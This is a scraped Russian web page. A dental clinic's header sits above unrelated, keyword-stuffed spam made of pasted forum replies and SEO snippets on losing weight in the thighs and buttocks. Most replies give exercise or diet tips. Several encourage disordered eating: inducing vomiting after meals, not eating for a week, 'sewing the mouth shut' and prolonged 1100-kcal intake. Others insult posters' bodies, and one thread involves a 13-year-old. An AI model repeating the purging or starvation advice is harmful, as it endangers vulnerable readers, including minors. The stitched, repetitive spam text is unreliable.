Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Как похудеть в бедрах и попе? Правильного питания придерживаюсь.

Секас)

Как похудеть в ляжках - упражнения. Для того, чтобы максимально уменьшить объем бедер, были придуманы специальные упражнения, которыеИ напоследок ответим на один вопрос, который нередко беспокоит многих, особенно молодых, женщин как быстро похудеть в ляжках?

Ешь овощи, фрукты и приседай

Никак, Вы что не знали? Зачем тешить себя иллюзиями - организм тощает равномерно.

Налегай на спорт, на специальные упражнения для этих проблемных зон.

Ходи побольше

Есть специальная диета для бедер , добавьте массаж, обертывания и миостимуляцию. Ну, и упражнения. Но не надейтесь на быстрый результат.

Быстро похудеть попе ляжках в женском блоге Nerlopugver.xpg.com.br. Диета минус 17кг. Похудение, диеты, правильное питание!Как то быстро похудеть попе ляжках пропала я от вас всех, но не на методика похудения коваленко, долго!

Как похудеть в попе и бедрах за 4 месяца срочно! пожалуйста, только проверенный способ и упражнения!

Я сейчас тоже занимаюсь похудением, друг сказал как он худел делаю то же самое, Пробегать в день хотя бы 3 км ( не нестись сломя голову а трусцой) Прыгалка также помогает, но при беги и приголки очень хорошо растет икроножная мышца так что сами думайте мтоит или нет, и конечно же диета!!!!

Как похудеть в ляжках питание. Для правильного питания все ясно.Если Вам нужно похудеть быстро и ОЧЕНЬ нужно, есть большое желание.На каждую ногу по 20 раз 4 подхода. Фишка в том, что нужно как бы сесть на одну ногу, попу выпятить назад, а возвращаясь в...

Предлагаемая гимнастика — без прыжков и степа, т. е. в «партере» , сначала покажется Вам очень сложной и трудной. Но постарайтесь делать хотя бы то, что получается, в том темпе, в котором можете поддерживать, и том объеме, который сможете осилить. Движения просты. У Вас получится! Затем, через месяц — два - три, Вы сможете поддерживать и темп и осилите объем гимнастики!
Не сразу! Терпите!
Затем Вы поймете, что без этой гимнастики жизнь становится пресной, т. к. выполнив ее — получите ни с чем несравнимое удовольствие!
Начинайте!.. .
Впереди всего лишь несколько месяцев терпения!?.. и вся жизнь!

Что делать чтобы ляжки и попа и бока ооочень быстро похудели

Солидарен с Алекс Ак

Как быстро похудеть в попе и ляжках. Главный секрет зел ного кофе заключается в содержании хлорогеновой кислоты. Лечение как возможно быстро похудеть в попы и ляжках не только медикаментозными средствами.

Диета МАКРОБИОТИКА ДЗЭН. Это японская система питания. Включающая 80% злаки 10% овощи орехи 10% мясо. Также едят фрукты, мясо рыбье в основном. В основе еды злаки каши из овсянки, риса, гречки, пшено, пшеница, перловка. Так как они богаты волокнами, микроэлементами и витаминами. Цельные зерна выросшие под солнцем впитали все богатство природы. Поэтому полезны и неободимы. Они едят в основном их, поэтому японцы одна из здоровых наций. Также от них не толстеешь посмотри на японцев они худющие и быстро двигаются и здоровы. Сам питался так чтоб поправить здоровье сбросить вес. Очень все вкусно и никаких проблем с здоровьем. был худющим. Для похудения самая лучшая и безвредная система питания

Как можно быстро похудеть в (Ляшках,Бёдрах и Попе?)Потскажите пожалуйста)))

Прыгать.

Как похудеть в ляжках и попе в домашних условиях?Если вы хотите похудеть в ляжках быстро то без изменения привычек питания вы не справитесь в кратчайшие сроки.

Пост тебе в руки

Посмотрел на твою фотку, тебе бы наоборот пару кило набрать. . Доска два соска.

Меньше кушать, но тебе не грозит худение

Юля, если Вы задали здесь вопрос, имея ввиду себя, и захотели похудеть, то прежде всего скажите об этом родителям.
Как ни хочется казаться взрослой и похожей на моделей из глянцевых журналов, придётся учесть, что в 13 лет Вы, зайка, ещё растёте и развиваетесь. Посмотрим по ссылке в Сексологической энциклопедии о Вашем возрасте: Ссылка
Один из внешних факторов, влияющие на процесс полового созревания организма это питание. Оно должно быть полноценным, с достаточным содержанием в пище белков, жиров, углеводов, микроэлементов. Нежелательно самой менять свой режим питания, это может отразиться на здоровье.
Посмотрим в специальных центильных таблицах какой должна быть масса тела девочки в возрасте 13 лет.
http://ellina2004.narod.ru/index321.html
«Справочника педиатра» под ред. В. О. Быкова (Ставрополь, 2004)
За средние или строго нормальные величины принимают значения, свойственные половине здоровых детей данного пола и возраста, что соответствует интервалу 25-50-75%. (в таблице выделено розовым цветом) .
Интервалы, которые находятся рядом со средними показателями, оцениваются как ниже и выше среднего (соответственно 10-25% и 75-90%).
Из таблицы видно, что оптимальная масса тела 13-ти летней девочки =47,5 кг.
Худеть сейчас стало не модным, особенно с помощью ограничений в еде.
В моде здоровый образ жизни, посильные занятия спортом, терпимое, толерантное отношение к внешности своей и других людей.
[кОнстантин, ответивший до меня, свой совет, видимо, дал не Вам а льву, тому что у него на аватарке]

Как похудеть в попе и бедрах быстро?

Бегай

Как быстро похудеть в попе и ляжках. admin Апрель 24th, 2015 1 комментарий.быстро похудеть за 4 дня. 1 комментарий. быстрая диета похудеть. Комментариев нет. похудеть на 2 кг за день. 1 комментарий.

Приседай и не ешь после 6

Липосакция!

Зашей рот

Присидание

Очень полезно "ходить на попе". Т. е. садитесь попой на пол и передвигатесь по полу вперед, поочередно "шагая" ягодицами. Это очень хорошо подтягивает ягодицы и бедра.

Как быстро похудеть в бедрах, ляжках??? Для всех. Подскажите! Кручу обруч и живот стал уходить, а вот как же быть с ляжками? Может скакалка? Делала упражнения на типа махи ногами, муж говорит так не похудеть

Спорт и правильное питание!

Ходьба на попе, еще и с целлюлитом борется

Как быстро похудеть в бёдрах?

Если ваш рацион построен подобным образом, - значит, вы поняли, как похудеть в бедрах и ягодицах в домашних условиях. Но, безусловно, это невозможно без упражнений, направленных на проработку проблемных зон. Выполняйте 2-3 упражнения из приведенного ниже комплекса, не забывая заканчивать зарядку тщательной растяжкой.
Уголок: встаньте спиной к стене на расстоянии около 50 см от нее, облокотитесь лопатками и начинайте медленно приседать. Когда бедра статут параллельны полу, задержитесь на некоторое время. Срок фиксации индивидуален, но лучше стоять до появления в мышцах легкого дискомфорта.

Как быстро похудеть в попе и ляжках, что 50 последователей не добираются до 3 этапа.Перед fapjTzcD.xml мероприятием- вещь недостижимая. как быстро похудеть в попе и ляжках.

Никак. Жир на попе и ляжках у женщин, обычно, является стратегическим запасом и расходуется в самую последнюю очередь, когда уже в других местах нету ничего.
Т. ч. быстро - только липосакцией :-)

Банальный вопрос)но всё же.как похудеть в ляжках,живот похудел, а вот попа и ляжки не как(

А что мешает качать исключительно ноги?

9 месяцев назад как похудеть. Подскажите, как похудеть побыстрее. Рекламируют чай, липосакцию и еще кучу. Что выбрать? как похудеть в ляжках и попе Похудение - вопросы и ответы на все случаи жизни - справочник Похудение TO-ASK.RU.

Терпение. Худеют, обычно, сверху вниз.

Массаж

Вот и не трогай их! Оставь другим их потрогать!!!)))

Ты что это такое добро Уменьшать.... ай я яй...

У меня наоборот проблема.. живот в последнюю очередь.. но заметила что ножки худеют у меня буквально за три дня когда полностью сладкое исключаю.. и ем до 4-х дня..)

Как быстро похудеть в области бедер? На самом деле, уменьшить объем толстых бедер не так просто и легко, как это выглядит со стороны.Диета для похудения ляжек. Не изнуряйте себя голоданиями.

Приседай каждый день по 30 раз и добавляй потом по 10 р.... и растяжек не будет и похудеешь быстрее

Только приседания с выпадами и массаж

Что способствует похудению попы и бедер

Меньше есть и заниматся спортом

Как похудеть в ляжках - упражнения. Для того, чтобы максимально уменьшить объем бедер, были придуманы специальные упражнения, которыеИ напоследок ответим на один вопрос, который нередко беспокоит многих, особенно молодых, женщин как быстро похудеть в ляжках?

Нельзя избавиться от жировых отложений в каком либо одном месте. можно подтянуть тело, а это занятия спортом. В общем правильно - спорт и диета.

Хождение вверх по лестнице. Отлично "сжигает жир" в районе пояса нижних конечностей (особенно - на ягодичных мышцах).

Вопрос классный ЧТО ЕСТЬ ЧТОБЫ ПОХУДЕТЬ? Лучше как раз ограничить еду и любой фитнес-инструктор составит вам комплекс спец упражнений

1. Чтобы достичь этого в домашних условиях надо заниматься просто самоистязанием! Потому советую делать то, что поможет ЛЕГКО, быстро и наверняка - бассейн! Эффект достигается потрясающий, причем - с удовольствием!! !
2. Пара сантиметров на бедрах - это ОЧЕНЬ МНОГО!! ! Без диеты, одними упражнениями в ДОМАШНИХ условиях добиться ТАКОГО результата чрезвычайно сложно (скорей всего - невозможно) . Так что, добавь и диету!
3. Приседания на двух ногах.
4. Лежа на боку, поднимать ноги вверх поочередно.
5. Выпады вперед на согнутую ногу по очереди.
6. Стоя на 1 ноге, поднимать другую вперед 20 раз, в сторону - 20, назад - 20.
7. ГЛАВНОЕ: полностью (!) исключить из питания картошку, рис, хлеб, мучное и каши, бананы, сладости, сахар, спиртное.

Приседания
бег
подъемы ног в положении лежа-на боку
посмотрите видеокурсы от Клаудии Шифер или Синди Кроуфорд, ENVY
не помешают массажики.
удачи Вам)

Быстро похудеть попе ляжках в женском блоге Nerlopugver.xpg.com.br. Диета минус 17кг. Похудение, диеты, правильное питание!Как то быстро похудеть попе ляжках пропала я от вас всех, но не на методика похудения коваленко, долго!

Бег, велотренажер, видеокурс Синди Кроуфорд

Девочки помогите!!!Нужно очень срочно похудеть в ляжках и немного в попе за неделю...посоветуйте что-то пожалуйста???

Не ешьте. за неделю -единственный способ сбросить. только потом на гастрит не жалуйтесь

Как похудеть в ляжках питание. Для правильного питания все ясно.Если Вам нужно похудеть быстро и ОЧЕНЬ нужно, есть большое желание.На каждую ногу по 20 раз 4 подхода. Фишка в том, что нужно как бы сесть на одну ногу, попу выпятить назад, а возвращаясь в...

Только массаж и обёртывания. ну о диете - сами наверное догадываетесь

Да не грозит Вам никакой гастрит, не слушайте никого. Кефирная или капустная диета Вам в помощь. (ответ дала в Вашем предыдущем вопросе)

Я не ем после 18 , кручу велотренажер 3 раза в неделю по 20 минут. похудеют ли бедра и подтянется ли попа?

Надо каждый день крутить и ни ле, еле, а интенсивно-тогда будет результат.

Как быстро похудеть в попе и ляжках. Главный секрет зел ного кофе заключается в содержании хлорогеновой кислоты. Лечение как возможно быстро похудеть в попы и ляжках не только медикаментозными средствами.

Ну вы поделайте это хотя бы месяц подряд - там видно будет.. .
только голодать сильно не надо.. . ато мышцам надо восстанавливаться с чего-то а когда еды нет - они будут только разрушаться и не будут восстанавливатьс и расти.. . А мышцы - это как известно та самая печька которая и сжигает каллории.. . так что чем больше худеете - тем меньше мышечной массы и тем тяжелее сжигать калории и при нормальном питании вес вернётся гораздо быстрее - т. к. мышцы будут не способны сжигать столько калорий как раньше.. .
ну и так, на всякий случай - килограмм мышц смотрится куда более эффектно чем килограм сала.. . мышцы намного плотнее жира и занимают меньший объём.. . так женщина может весить достаточно много - но вес этот будет мышечной ткани а не жира и будет она намного стройнее чем женщина с кучей сала на животе с той же массой тела.
места откуда хочется убрать жир - не зависят от того какие мышцы вы нагружаете.. . важно сколько сил потратите и сколько калорий сожжёте.. . так что если тренировать жопу так сказать которая и без того большая - лучше от этого не станет.. . лучше заниматься аэробикой - толго и упорно - чтоб дыхание было учащённым - вот тогда идёт интенсивное сжигание калорий.. . а какие упражнения делать - без разницы.

Велотренажёр рассчитан на тонус мышц ног в целом. А вот если задаться целью, чтобы похудели бёдра и подтянулась попа, то думаю, что уместным будут упражнения на фитболе (мяч для фитнеса) . Да и простые приседания с сжиманием ягодиц при выдохе и подъёме помогут подтянуть определённые группы мышц.

Ну вы даете)
я не ем ЖИРНОГО СЛАДКОГО, МУЧНОГО, после 6 не ЕМ.. и катаюсь пл 1 часу чтоб вы знали...)) и не х))))))))) скинула 3 кг за месяц.

Как похудеть в области бедер и попы? помогите пожалуйста..срочно нужно..хочу похудеть))

Кушать меньше и фитнесс!

Как похудеть в ляжках и попе в домашних условиях?Если вы хотите похудеть в ляжках быстро то без изменения привычек питания вы не справитесь в кратчайшие сроки.

Здоровое питание и спорт))) ) и во вторых, худеют не в определенных местах, а худеет все тело!

Хочу огорчить, никак. если структура тела такая, то только липосакция или все в мышци превратить

Http://www.liveinternet.ru/users/3546644/profile
много всего в моем дневнике.
кроме того, это интересно:
нельзя уменьшить подкожный жир в отдельно взятой части тела. Это просто невозможно! Выполняя упражнения для отдельных частей тела, можно уменьшить в них внутримышечный жир, но это не повлияет на подкожный жир сверху этих мышц. Подкожный жир нужно рассматривать как относящийся ко всему телу. Заставьте самые большие свои мышцы работать вместе, если вы хотите уменьшить подкожный жир.
У женщин подкожный жир откладывается прежде всего в ногах, затем на бедрах, затем в области диафрагмы и, наконец, в верхней части тела, особенно на предплечьях. Как правило, убираются эти отложения в обратном порядке. Если вы женщина с жировыми отложениями в этих местах и вы начали аэробную программу упражнений на велосипеде, жир будет убираться в порядке, обратном его накоплению. Даже при том, что велосипед — это упражнение для ног, вы в первую очередь избавитесь от жира на руках, а на ногах — в последнюю.
Сколько бы я ни говорил, что жир нужно сбрасывать системными (аэробными) упражнениями, кто-нибудь обязательно спрашивает, как убрать жир из специфического места на теле. Женщины с полными руками убеждены, что размахивание руками, толчки, растирания, удары непременно уберут жир с их рук. Поверьте мне, если вы займетесь бегом трусцой или ездой на велосипеде, ваш жир уберется гораздо быстрее.»

Как похудеть в области бедер и попы? помогите пожалуйста

Бегать нужно. лучше еще никто ничего не придумал.

Как быстро похудеть в попе и ляжках. admin Апрель 24th, 2015 1 комментарий.быстро похудеть за 4 дня. 1 комментарий. быстрая диета похудеть. Комментариев нет. похудеть на 2 кг за день. 1 комментарий.

Бассейн и антицелююлитный массаж

Любые аэробные нагрузки, от приседаний тупо вырастут мышцы и жопа с ляжками станут в объеме еще больше!

Я думаю бег эффективней всего.

Смотря какого результата желаешь добиться и каковы основные проблемные зоны.
если хочешь стройные целлюлитные ноги - бег трусцой, прыжки, джазовые танцы, аэробика, система стречинга - тебе в помощь.
без заработка целлюлита поможет быстрая (интенсивная) ходьба пешком, плавание, езда на велосипеде.
обёртывание и различные виды дренажных массажей очень хорошие вещи в борьбе с лишними сантиметрами. контрастный душ.
гугли упражнения для красоты:
"шлюпка" - укрепляет мышцы внутренней стороны бёдер.
"сейко" - укрепит мышцы бёдер и уменьшит их объём, уберёт "галифе" и "попины уши".
"взмахи ногой" - как никакое другое уменьшает объём бёдер и укрепляет их заднюю поверхность
"шаг - присест - шаг" - закрепляет эффект
различные "балеринские упражнения"
"оттягивание ноги назад" - укрепляет ягодицы
"поднятие таза" - одно из мощнейших упражнений для укрепления и придания красивой формы ягодицам

1.5-2 литра воды ежедневно выпивать
массаж антицеллюлитный
лимфодренаж
приседания-от приседаний еще ни у кого попа не выросла и мышцы не увеличились.
30 приседаний 3 раза подряд=90 приседаний в день через месяц попа-орешек. а объем уйдет после курса массажа
бег

Как быстро похудеть в бедрах, ляжках??? Для всех. Подскажите! Кручу обруч и живот стал уходить, а вот как же быть с ляжками? Может скакалка? Делала упражнения на типа махи ногами, муж говорит так не похудеть

Как похудеть в бедрах и попе?)

Меньше есть

Как быстро похудеть в попе и ляжках, что 50 последователей не добираются до 3 этапа.Перед fapjTzcD.xml мероприятием- вещь недостижимая. как быстро похудеть в попе и ляжках.

Купите пластырь.. . Куда клеить знаете???!

Секес

Вечером, приходя домой, принимайте контрастный душ. Он стимулирует кровообращение помогает поддерживать мышцы в тонусе. В душе массируйте «проблемные» участки специальными массажерами или жесткой мочалкой. Кроме того, вы будете приятно удивлены, узнав, какие чудеса с попой и бедрами творит обычная банка! Вам нужно лишь нанести на «проблемные» зоны антицеллюлитный крем или гель для душа с экстрактом водорослей и массировать до тех пор, пока кожа не покраснеет. Когда на ней не останется бледных участков, циркуляция крови улучшится. При ежедневном повторении данного упражнения вы сможете избавиться от «апельсиновой корки» . Также нормализовать кровообращение поможет пощипывание, поглаживание и похлопывание ягодиц.

Спортом заняться, секс регулярный.
Если похудеете диетами, а не спортом, кожа будет дряблой на попе и бедрах.

Отличное средство знаю. В деревню на месяца три летом, недели две усиленные тренировками на сенокосе, в добавок к этому в перерывах нескольких дней стайки, ну можно ещё разнообразить бегом с млотком, дрелью и прочими инструментами по снижению веса. В конце сезона можно, заняться копкой картофеля-очень укрепляет поясничные мышцы. После этих процедур вы почувствуеете как вы похудели. Желаем крепкого здоровья!

9 месяцев назад как похудеть. Подскажите, как похудеть побыстрее. Рекламируют чай, липосакцию и еще кучу. Что выбрать? как похудеть в ляжках и попе Похудение - вопросы и ответы на все случаи жизни - справочник Похудение TO-ASK.RU.

Купи мочалку пожесче и не ленись обхаживать свои проблемные зоны с хорошим гелем для душа, причём, каждый день.
Быстрого результата не обещаю, но он будет. И крем для тела не забудь.
Тело любит уход и благодарит за это.

Тренажёрка + МегаМасс - сывороточный белок с креатином и вкусом шоколада... ну и хотя бы 2 раза в неделю на часик пидали покрутить да побегать на дорожке...

Прыжки на скакалке-лучший похудитель попы :-) Не надо ставить рекорды, начните с 5-10 минут.

Велотренажер, бег, приседания, выпады с гантелями, махи ногами, и что-то подобное из предыдущего ответа - села на пол, ноги вытянула и ходим на попе, как паровозик, попа также отбивается, но эффектвней))) ) Перемещайся вперед и назад,

Ни в коем случае не худеть. По результатам многих опросов мужчин "что вам нравится в женском теле": на первом месте - попа и бедра, на втором - грудь и животик, и только на третьем месте - физиономия и то, что на ней нарисовано.

Как быстро похудеть в области бедер? На самом деле, уменьшить объем толстых бедер не так просто и легко, как это выглядит со стороны.Диета для похудения ляжек. Не изнуряйте себя голоданиями.

У меня ноги и бедра широковаты, как и моей мамы и бабушки и прабабушки.... в общем, по себе знаю, только если будешь есть меньше углеводов - хлеба, сладкого, картофеля, меньше жареного. так надо продержаться до 3х недель хотя бы (быстрее не худеют) , плюс реально помогает бегать на беговой дорожке, скакалка. опять же делать это регулярно до 5 раз в неделю. массаж помогает, но если это не салонный, а дома, то больше для тонуса кожи а не для похудения.. . желаю удачи, я буду худеть немного к отдыху во Флориде (хочешь узнать как я буду тренироваться и все такое) , пиши в мой мир.

Как быстро похудеть?конкретно сбросить вес на попе..и бедрах? плюс отвисы на боках!!!

Только ограничение в еде, и физические упражнения. Чудес не бывает))))

Как похудеть в ляжках - упражнения. Для того, чтобы максимально уменьшить объем бедер, были придуманы специальные упражнения, которыеИ напоследок ответим на один вопрос, который нередко беспокоит многих, особенно молодых, женщин как быстро похудеть в ляжках?

Перестать есть после 18 ч. Займись бодифлексом, ну и бассейн для попы.

Когда в армию пошел в 2000 году за три месяца так похудел,
что мама еле узнала.... только физические нагрузки,
и низкокаллорийные каши вас спасут больше ничего не есть,
по воскресениям пару пряников, и колбаски, а потом опять всю,
неделю бегать, прыгать, мало спать, нервничать.... и питаться,
только кашкой бысто и круто похудеете.... ПРОВЕРЕНО НА СЕБЕ )

Зеленый чай и вода, овощи. Нельзя фрукты, соки, ну и очевидное, не есть после шести, не есть вредное. Можно молочные продукты, только не сладкие. Рука тянется к ломтю шоколада - беги за чашкой!

Бег хорошо помогает! не есть сладостей!

Лучший путь это средний!

Быстро похудеть попе ляжках в женском блоге Nerlopugver.xpg.com.br. Диета минус 17кг. Похудение, диеты, правильное питание!Как то быстро похудеть попе ляжках пропала я от вас всех, но не на методика похудения коваленко, долго!

Ты очень красивая и ненужно тебе худеть, все у тебя в норме....

У тебя просто такая комплекция! называется груша. попробуй заниматься упражнениями которые касаются в оновном нижней части тела...

Как похудеть в ляжках и попе?

Ответить не могу но секс и вода! вот способ

Как похудеть в ляжках питание. Для правильного питания все ясно.Если Вам нужно похудеть быстро и ОЧЕНЬ нужно, есть большое желание.На каждую ногу по 20 раз 4 подхода. Фишка в том, что нужно как бы сесть на одну ногу, попу выпятить назад, а возвращаясь в...

Бегай, скачай упрожнения в нете и занимайся спортом

На велосипеде и роликах по чаще ездий, бегай) Главное терпения
Удачи)

Не есть мучное и сладкое, делать упражнения. Я все это знаю и не делаю. И так поступает большинство. А попа тем временем растет и растет!!!

Ешь фрукты и овощи! Занимайся физическим трудом! Твоя жизнь должна состоять из движений

Очень хорошо помагает приседание от 10 до 50 раз в день.
Стопы не отрывать от пола и, стараться медленно вниз и вверх, вставать и приседать.
Дыхание равномерное, не глубокое. Эффект увидите быстро. Удачи!

Как быстро похудеть в попе и ляжках. Главный секрет зел ного кофе заключается в содержании хлорогеновой кислоты. Лечение как возможно быстро похудеть в попы и ляжках не только медикаментозными средствами.

У меня толстые бедра(ляшки), посоветуйте правильные приседания для того чтобы похудеть именно в обрасти попы и бедер...

Займитесь бодифлексом.

Как похудеть в ляжках и попе в домашних условиях?Если вы хотите похудеть в ляжках быстро то без изменения привычек питания вы не справитесь в кратчайшие сроки.

Насчет приседаний сказать ничего не могу.
Но лично мне очень помогли обертывания с синей глиной или с морскими водорослями.
Результат будет виден уже недельки через полторы и кожа станет подтянутая и упругая, а еще это отличный способ избежать растяжек когда быстро худеешь)) )
В салоне конечно лучше, но если дороговато ( желательно делать каждый день первые две недели, потом реже) , то процедура несложная ее можно и дома замутить) )
Удачи)))

Лучше бег

Ноги поднимать, ложишься поднимаешь и чуток держишь минут так 5 или легла на бок и поднимаешь так раз 20-30

Как похудеть в области бедер и попы?

У вас наверное тип фигуры груша) А у груш все вниз "стекает")) Просто со временем метаболизм замедляется. Жир уходит сложнее, а без спорта и правильного питания так вообще обмен веществ барахлит. Если обмен веществ барахлит, питание неправильное а движение меньше чем потребляемых калорий - у груш начинает расти попа и толстеют ноги. Талия и руки при этом могут оставатся стройными.
Выход тут только один-рассчитать свой коридор калорийности, 3-5 раз в неделю кардио нагрузка не менее получаса (бег, велосипед, и тд) Пить не менее 8 стаканов воды в день, отказатся от сладкого и мучного. После тренировки не есть часа 2.Раньше нельзя. Утром употреблять углеводы вечером-белки. Обязательно делать массаж ног и филейной части специальной рукавичкой и потом втирать ац-крем, или крем против растяжек-тк при начавшемся похудении они могут появится а вам этого совсем не хочется, правильно ведь.
Коридор калорийности можно рассчитать с помощью программы в инете, я вам кину ссылку на сайт (если вам нужно)

Как быстро похудеть в попе и ляжках. admin Апрель 24th, 2015 1 комментарий.быстро похудеть за 4 дня. 1 комментарий. быстрая диета похудеть. Комментариев нет. похудеть на 2 кг за день. 1 комментарий.

Жир в области бедер и ягодиц скапливается дольше, чем в других частях. Лишний вес в нижней части живота невероятно трудно удалить, эти "запасы" уходят из организма в последнюю очередь. А жир в верхней части тела быстро генерируется и затем легко проходит через процесс метаболизма.
...у моей сестры была такая же проблема, она пробовала куча диет, записалась в тренажерный зал (но от этого она только прибавляла в весе, т. к. росли мышцы и эффекта практически не было)... потом ей посоветовали бассейн, она купила абонемент и результат был на лицо, а точнее на бедрах и попе=)))

Советую уделить больше внимания бегу или велотренировкам!

Наверно только гармональными препаратами если сильно разносит

Прриседания, выпады

Как похудеть в бедрах и попе?


Как быстро похудеть в бедрах, ляжках??? Для всех. Подскажите! Кручу обруч и живот стал уходить, а вот как же быть с ляжками? Может скакалка? Делала упражнения на типа махи ногами, муж говорит так не похудеть

Упражнения делать для этой части тела, бегом заняться, плавание, голодом и диетами не поможешь, а только здоровье погубишь

Бегать по утрам км по3 или по вечерам

2 пальца в рот после еды ;)

Упражнение против отвисших ягодиц
1. Сядьте на краешек стула, ступни ног держите врозь. Зажмите между коленями какой-нибудь предмет (книгу или диванную подушечку) . Сидите прямо и держите руки на сиденье. Постарайтесь мышцами бедер сильно сжать предмет и находитесь в таком положении ровно 1 минуту, затем расслабьтесь и повторите упражнение снова. Проделывайте это упражнение не меньше 10 раз.
2. Встаньте на колени, руки поставьте на пояс. Далее следует сесть на пол, сначала на левую ягодицу, затем на правую. Делайте упражнение до тех нор, пока не почувствуете усталость в ягодичных мышцах. Не идите по легкому пути, садясь на ноги, эффекта таким способом вы не добьетесь. Вначале будет очень трудно, но вы достаточно быстро научитесь и будете с легко выполнять это упражнение.
3. Обопритесь спиной и затылком о стену, согните ноги в коленях и напрягите мышцы. В таком положении вам надо пробыть примерно 1 минуту. Если вы почувствуете, что не в силах продержаться ровно минуту, сократите время. При выполнении этого упражнения старайтесь, чтобы ваши затылок, спина и ягодицы не отрывались от стены, иначе эффективность этого упражнения будет нулевая.
4. Обхватите правое колено обеими руками и осторожно подтяните его к груди, зафиксируйте это положение на 20 секунд. Повторите упражнение с другим коленом. Повторяйте упражнение 5-10 раз по 5 раз с каждой ногой с интервалом в несколько секунд.
5. Лягте на спину и обопритесь ногами о стену. Напрягите ягодичные мышцы и постарайтесь поднять таз и бедра от пола, не отрывая при этом спины. Вначале вам, скорее всего это будет не под силу, но постепенно доведите количество таких подъёмов до 10-12 за время одного упражнения.
1.Это упражнение знакомо абсолютно всем. В положении "сидя" (на полу) отведите назад руки и наклонитесь немного назад, чуть согните ноги в коленях и притяните их к корпусу, при этом положение икр должно быть параллельно полу, а мыски ступней потяните на себя. Спина прямая, опора на руки. В этом положении одновременно удаляйте друг от друга ноги и корпус, затем приближайте их. Повторите упражнение минимум 12 раз (или 10 в обычном ритме и еще 10 в более медленном) .
1.Боковой подъём туловища. (активны большая и средняя ягодичные мышцы)
Лягте на правый бок, облокотитесь на согнутую в локте руку, вторую держите на поясе. Приподнимайте корпус как можно выше, ноги прямые, носки прижаты к полу. Повторите 12-15 раз. Повернитесь на другой бок, повторите.
2. Отведение ног в стороны. (активны те же мышцы, что и в первом упражнении, а также мышцы бедра и частично брюшного пресса)
Лёжа на спине, руки разведите по сторонам, ноги поднимите верх, вытянув носки. Опуская правую ногу в сторону и на пол, следите, чтобы не отрывать рук от пола. Левую ногу также положите на правую. Повторите, начиная с левой ноги. Всего 10-12 подходов.
3. Отведение ягодиц от пола. (активны большая и средняя ягодичные мышцы, мышцы бедра, пресса и частично спины)
Лёжа на спине, согнуть ноги в коленях, уперевшись ступнями в пол. Опираясь на плечи и руки, максимально поднимите ягодицы от пола. Спина прямая. Прочувствуйте напряжение, затем вернитесь в исходное положение. Повторить 8-10 раз.
4. Круговые вращения. (активны те же мышцы, что и в предыдущем упражнении)
Примите исходное положение, как в первом упражнении. Правую ногу согнуть, левую выпрямить и поднять под прямым углом вверх. Вращайте ею по кругу, наращивая амплитуду. Важно двигать не ступнёй, а всей ногой. Смените ногу, повторите. Всего 8-10 раз на каждую ногу.
5. Это самое уникальное упражнение! Оно доступно к выполнению в любом месте, в любое время и в любом количестве! Ритмично напрягайте и расслабляйте ягодичные мышцы. Всё!
Упражнения против отвисшей внутренней стороны бедер

Как убрать живот?

...срать...

Как быстро похудеть в попе и ляжках, что 50 последователей не добираются до 3 этапа.Перед fapjTzcD.xml мероприятием- вещь недостижимая. как быстро похудеть в попе и ляжках.

Давайте фото. нужна норм диета вам и физ нагрузка тож правильная

Бег, пресс, приседание, бег, нижний пресс.. . подтягивание с жиманием ног... лестница с подтягиванием ног... пиши в лику, на почту... дам программу.

Нескока способов -самый просто качать прес и делать талию и пресс всякими упражнениями.. второй -не жрать. если совместить оба то результат не заставит себя ждать пару недель

Продолжайте сидеть ну почти на диете, делать ну почти упражнения, живот ну почти уберется.

Бегай по утрам и качай пресс

9 месяцев назад как похудеть. Подскажите, как похудеть побыстрее. Рекламируют чай, липосакцию и еще кучу. Что выбрать? как похудеть в ляжках и попе Похудение - вопросы и ответы на все случаи жизни - справочник Похудение TO-ASK.RU.

Вот бег реально помогает, после нескольких дней сразу виден результат

Качать пресс и надеется что уйдет живот - тоже самое что и жевать жевачку и надеется что уйдут щеки.... жир уходит в целом.... похудей на счет запасов жиров.. . часть из них уйдет именно из живота....

Бег,
бассейн,
кардио нагрузки,
ограничение углеводов в рационе.

Качай пресс, крути обруч! ! дня через 4 уже увидишь результат))))

Как избавиться от жира на животе? Серьёзные советы, пожалуйста :)) Силы воли почти нет.Но я буду стараться :(((

Спорт

Как быстро похудеть в области бедер? На самом деле, уменьшить объем толстых бедер не так просто и легко, как это выглядит со стороны.Диета для похудения ляжек. Не изнуряйте себя голоданиями.

Никак, как появится сила воли - обращайся.

Движение жизнь!

Ну как-нибудь на 8 минут в день силы воли наберитесь http://www.youtube.com/watch?src_vid=-5venZlDK5s&annotation_id=annotation_44283&v=4uYRqnk-daw&feature=iv , ну и питание скорректировать

Упражнение 1. Ложимся на пол, упираемся ногами в стену, руки за головой. Поднимаем корпус.
Упражнение 2. Ноги ставим на ширину плеч и поднимаем корпус с разворотом то вправо, то влево.
Упражнение 3. Укрепляем поясницу и убираем живот. Ложимся ровно, руки забрасываем за голову и потихоньку поднимаем прямые ноги на угол 30 градусов. Затем медленно опускаем ноги. Повторяем несколько раз, до небольшого чувства усталости в мышцах.
Упражнение 4. Работаем с верхним прессом. Забрасываем ноги на диван или стул, разводим на ширину плеч. Поясница крепко прижата к полу. Руки за головой, тело поднимаем к коленям. Двигаться нужно в довольно быстром темпе. Так Вы вскорости почувствуете мышцы пресса и устанете. Передохните. Сделайте еще один подход.
Система упражнений – это замечательно. Особенно, если делать их ежедневно и не отлынивать. Но если вы будете злоупотреблять высококалорийными продуктами – не стоит ждать быстрого результата.

У меня тоже есть животик, но я так даже симпатичнее выгляжу, чем раньше (худышка)

Как похудеть в ляжках - упражнения. Для того, чтобы максимально уменьшить объем бедер, были придуманы специальные упражнения, которыеИ напоследок ответим на один вопрос, который нередко беспокоит многих, особенно молодых, женщин как быстро похудеть в ляжках?

Глюкоза в крови сгорит за 15 минут физических упражнений, затем, через 30 минут закончится в печени гликоген, тогда через 45 минут появится пот, значит берется глюкоза из мышц, если продолжить физические упражнения в умеренном темпе, то при пульсе свыше обычной нормы до двойной нормы будет идти расход жирных кислот. Если тренироваться 6 месяцев употребляя 1100 калорий (молодым не советую, лучше -2000, 1 кусок хлеба -200 калорий) , очень быстро потеряете жировые отложения. Но, но, но.. .
